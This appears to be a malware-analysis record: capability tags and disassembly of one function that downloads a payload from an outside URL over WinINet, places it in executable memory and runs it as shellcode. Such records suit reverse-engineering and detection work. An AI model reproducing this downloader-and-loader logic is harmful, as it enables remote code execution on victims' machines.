Function at 0x10001740
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xcc
mov eax, dword [0x10009004]
xor eax, esp
mov dword [esp + 0xc8], eax
push ebx
push esi
push edi
push 0xbb706c
mov dword [esp + 0x38], 0
call fcn.10003221
add esp, 4
mov dword [esp + 0x14], eax
push 0xbb706c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0xbb706c
call fcn.10003221
add esp, 4
mov ebx, eax
push 0xbb706c
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x19
lea edi, [esp + 0x74]
mov esi, str.https:__xiamo.dasiqueiros.info_qwytjhcey_aocmnvfnd
add esp, 0xc
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push 1
push str.zc9k4OMihkyxpJIGR8CjxVgoBvv9PB
movsw word es:[edi], word [esi]
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x80000000
push 0
push 0
lea ecx, [esp + 0x78]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
lea ecx, [esp + 0x34]
mov dword [esp + 0x10], eax
push ecx
push 0x12be71
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, dword [esp + 0x14]
test eax, eax
je 0x10001841
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
cmp dword [esp + 0x34], 0
jbe 0x10001841
push ebx
push 0xbb706c
push esi
call edi
add esp, 0xc
push 0x12be71
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x34]
push eax
push 0x12be71
push ebx
push dword [esp + 0x1c]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10001805
push esi
lea ecx, [esp + 0x20]
call fcn.100014f0
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x50]
call fcn.10001d90
mov ecx, dword [esp + 0x30]
cmp ecx, 0x10
jb 0x1000188e
mov edx, dword [esp + 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001884
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001a37
push ecx
push edx
call fcn.10002d84
add esp, 8
lea edx, [esp + 0x50]
lea ecx, [esp + 0x38]
call fcn.100011d0
cmp dword [esp + 0x4c], 0x10
lea ecx, [esp + 0x38]
mov edi, dword [esp + 0x48]
lea eax, [esp + 0x38]
cmovae ecx, dword [esp + 0x38]
add edi, ecx
cmp dword [esp + 0x4c], 0x10
cmovae eax, dword [esp + 0x38]
xor ebx, ebx
xor esi, esi
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], ebx
sub edi, eax
je 0x10001928
cmp edi, 0x7fffffff
ja 0x10001a5c
cmp edi, 0x1000
jb 0x10001908
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x10001a61
push eax
call fcn.10002ed7
add esp, 4
test eax, eax
je 0x10001a37
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x10001913
push edi
call fcn.10002ed7
add esp, 4
mov esi, eax
push edi
push dword [esp + 0x1c]
lea ebx, [esi + edi]
push esi
mov dword [esp + 0x1c], ebx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov edi, dword [esp + 0x10]
push 0x40
push 0x3000
sub edi, esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x10], eax
test eax, eax
jne 0x10001964
push 0x10001c90
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.10001a70
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x1000199e
push edi
push esi
push eax
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
call dword [esp + 0x10]
push edi
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x8000
push 0
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 1
push dword [esp + 0x18]
call fcn.10002d84
add esp, 8
test esi, esi
je 0x100019c8
sub ebx, esi
mov eax, esi
cmp ebx, 0x1000
jb 0x100019be
mov esi, dword [eax - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001a37
push ebx
push esi
call fcn.10002d84
add esp, 8
mov ecx, dword [esp + 0x4c]
cmp ecx, 0x10
jb 0x100019fa
mov edx, dword [esp + 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100019f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001a37
push ecx
push edx
call fcn.10002d84
add esp, 8
mov ecx, dword [esp + 0x64]
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0xf
mov byte [esp + 0x38], 0
cmp ecx, 0x10
jb 0x10001a47
mov edx, dword [esp + 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001a3d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001a3d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002d84
add esp, 8
mov ecx, dword [esp + 0xd4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10002d76
mov esp, ebp
pop ebp
ret
call fcn.10001d80
call fcn.10001120
int3